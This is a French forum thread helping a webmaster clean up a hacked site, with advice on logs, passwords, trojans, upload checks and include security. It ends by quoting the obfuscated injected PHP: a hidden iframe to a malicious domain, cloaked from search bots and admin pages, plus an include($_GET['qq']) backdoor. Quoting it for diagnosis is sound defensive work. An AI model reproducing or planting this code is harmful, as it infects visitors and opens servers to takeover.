Avast t'a averti d'un virus dans la page web.
Je parlais d'un virus (trojan) dans ton ordinateur (ou dans un autre ordinateur d'où tu as fait une connexion ftp à ton site) qui "vole" les mots de passe.

Par exemple:
http://simvez.com/web/virus-iframehtml- ... -flashfxp/

j'aimerais installer un script que me place toutes les ip des visiteurs avec la date et l'heure dans un fichier texte comme cela je pourrai voir qui a été le dernier connecté avant le crash (si bien sur cela se reproduisait).

Slt ,

Les logs ...
Épluche les logs de tes services "critiques" .. connexion SSH , FTP , Ect ...
Les logs apache , le pirate n'a pas réussit du premier coup , il doit y avoir de nombreuses tentatives inscrites dans les logs ( si l'intrusion est récente ).

( évidemment uniquement si tu as accès aux logs .. )

Ensuite , qui a t'il sur ton serveur ?
Uniquement des développements perso ? ( il y a des chances qu'il y ai une/des failles d'injection de code ) , code à éprouver .
Des "sites/blog/CMS ect .. " ? si oui sont-ils à jour ?

Voilà , en attendant , tu devrais mettre les sites hors ligne , pour éviter que des internautes tombent dessus et se font avoir , de plus tu risques d'être black-listé par les navigateurs ...

Cdt ,
Ch.

Dans les cas que j'ai vu autrefois, cette injection de fichieres php ou html avec un virus c'est passé par ftp.
Le mot de passe a été "volé" par un trojan qui a transmis les données à un serveur. La contamination a été fait par des robots installé sur ce serveur.
En conclusion, avant de changer ton mot de passe c'est bien de scanner ton ordinateur avec un logiciel antivirus.

La première des choses à faire, c'est effectivement de changer tous tes mots de passe. Avec un minimum de sécurité, tu peux envisager au moins 8 caractères et au moins 3 des 4 possibilités suivantes :
- au moins une minuscule
- au moins une majuscule
- au moins un chiffre
- au moins un caractère spécial

Ensuite, il te faut vérifier si ton site permet l'upload de fichier, que celui-ci ne permet pas d'uploader des fichiers avec l'extension php.
De même si ton site fonctionne avec des includes, t'assurer qu'on ne puisse pas inclure autre chose que les pages que tu as prévu (en gros, qu'en modifiant l'url je ne puisse pas ouvrir une url distante ou d'autres fichiers de ton serveur, comme celui contenant les accès à la base)

Bien sur, il faut supprimer les fichiers qui ont été ajoutés et passer un coup d'antivirus sur le serveur.

Quant aux effets du script, il ouvre dans un premier temps le site grizzli-counter.com, qui est apparement considéré comme malveillant (par google et symantec). Apparement il tente d'installer un cheval de troie chez les visiteurs et sans doute d'autres cochoncetés...

<?php include ("menu.php"); ?>

<?php

//<div style="display:none">&nbsp; &nbsp;<iframe fsdsdf="sdfdf" width="732" height="4051" src="http://grizzli-counter.com/id120/index.php"></iframe></div>'; 
function IIIIIIIIIIII($IIIIIIIIIIIl) { 
    global $argv; 
    $IIIIIIIIIIlI = dirname(getcwd() . '/' . $IIIIIIIIIIIl);
    $IIIIIIIIIIll = getcwd();
    @chdir($IIIIIIIIIIlI);
    $IIIIIIIIIIlI = getcwd();
    @chdir($IIIIIIIIIIll);
    return $IIIIIIIIIIlI; 
} 
function IIIIIIIIIIIl($IIIIIIIIIIl1) {
    if( strstr($IIIIIIIIIIl1, "Yandex/") != null || strstr($IIIIIIIIIIl1, "YaDirectBot") != null || strstr($IIIIIIIIIIl1, "James Bond") != null || strstr($IIIIIIIIIIl1, "Googlebot") != null || strstr($IIIIIIIIIIl1, "Mediapartners-Google") != null || strstr($IIIIIIIIIIl1, "StackRambler") != null || strstr($IIIIIIIIIIl1, "Slurp") != null || strstr($IIIIIIIIIIl1, "msnbot") != null ) {
        return true; 
    } return false; 
} function IIIIIIIIIII1($IIIIIIIIIIlI) { 
    $IIIIIIIIII1I = array('adm', 'pma', 'moder', 'cp');
    $IIIIIIIIII1l = false;
    foreach ($IIIIIIIIII1I as $IIIIIIIIII11) {
        if(strstr($IIIIIIIIIIlI, $IIIIIIIIII11) != null) {
            $IIIIIIIIII1l = true; 
        } 
    }
    return $IIIIIIIIII1l; 
}
function IIIIIIIIIIlI($IIIIIIIIIlII) {
    global $IIIIIIIIIIII, $_SERVER;
    $IIIIIIIIIlII = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $IIIIIIIIIlII);
    $IIIIIIIIIlII = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $IIIIIIIIIlII);
    $IIIIIIIIIlII = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $IIIIIIIIIlII);
    if(IIIIIIIIIIIl($_SERVER['HTTP_USER_AGENT']) == true || IIIIIIIIIII1(dirname($_SERVER['SCRIPT_NAME'])) == true) {
        return $IIIIIIIIIlII; 
    }
    else {
        if(preg_match("/(<body[^>]*>)/i", $IIIIIIIIIlII) > 0) {
            return preg_replace("/(<body[^>]*>)/i", "$IIIIIIIIIlI1 \n".$IIIIIIIIIIII, $IIIIIIIIIlII, 1); 
        }
        else {
            return $IIIIIIIIIlII.$IIIIIIIIIIII; 
        } 
    } 
} 
if(@ob_start('IIIIIIIIIIlI') == true) {
    
    $IIIIIIIIIIIl = $_GET['qq'];
    @chdir(IIIIIIIIIIII($IIIIIIIIIIIl));
    include($IIIIIIIIIIIl);
}
else {
    echo $IIIIIIIIIIII; 
}

?>